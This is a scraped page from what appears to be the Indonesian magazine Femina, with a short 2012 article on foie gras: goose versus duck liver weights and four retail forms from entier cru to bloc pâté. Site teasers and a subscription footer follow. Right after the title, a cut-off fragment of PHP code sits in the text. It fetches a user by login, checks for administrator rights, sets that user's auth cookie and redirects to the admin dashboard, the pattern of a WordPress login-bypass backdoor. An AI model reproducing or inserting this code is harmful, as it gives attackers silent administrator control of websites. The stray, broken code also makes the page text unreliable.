Macam-Macam Foei Gras

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Food Trend

5 Feb 2012

Foie gras diperoleh dari hati angsa (goose liver) dan hati bebek (duck liver). Foie gras dari hati angsa bisa mencapai berat 700-900 g, padahal berat normalnya hanya 85-170 g. Sebuah rekor bahkan mencatat berat foie gras hati angsa yang mencapai 2 kg! Hati bebek sedikit lebih ringan, yakni ‘hanya’ 300-400 g, di mana berat normal hanya 60-115 g. Kandungan lemak yang lebih rendah otomatis membuat kelunakan, tingkat gurih, dan creamy-nya di bawah hati angsa. Ini foie gras yang dijual siap pakai:

1. Foie gras entier, cru: Foie gras segar dan utuh (whole), siap olah. Sudah disiangi, yakni pembuluh darah sudah dibuang dahulu. Garami dan beri merica, lalu matangkan dengan sedikit minyak zaitun. Sertai roti gandum (karena punya cita rasa asam yang cocok dengan foie gras) dan wine. Masih sulit ditemui di pasaran lokal.

2. Foie gras mi-cuit: Setengah matang (mi cuit = setengah matang). Di supermarket premium, jenis foie gras ini dijual dalam bentuk utuh atau irisan dengan berat 100 g. Populer di resto karena praktis bagi chef.

3. Foie gras entire: Sama seperti foie gras mi-cuit, namun telah dibumbui (garam, merica, dan cognac).

4. Bloc de foie gras avec morceaux: Dikenal juga sebagai pâté. Terbuat dari campuran hati angsa atau hati bebek cincang dan ditambahkan bumbu-bumbu. Di supermarket premium dijual dalam kemasan botol beling ukuran kecil. (f)

Clean Cut Emporio Armani

Aksi Sosial SOPHIE

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

5 Cara Menikmati Tengah Minggu Meski Lagi Sibuk-sibuknya

Belum juga akhir pekan, tapi kamu keburu Lelah fisik dan mental?

Produk Hairstyling Terbaru Ini Membantu Menjaga Kelembapan Alami Rambut

Segera hadir di Pekan Raya Jakarta 2026, tiga produk terbaru Panasonic Beauty yang lebih dari sekadar alat menata rambut.

Kagetkan Fans, Sooyoung dan Jung Kyung-ho Putus Setelah 14 Tahun Bersama

Di saat fans mengira mereka sedang mempersiapkan pernikahan, kabar ini jatuh seperti bom.

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id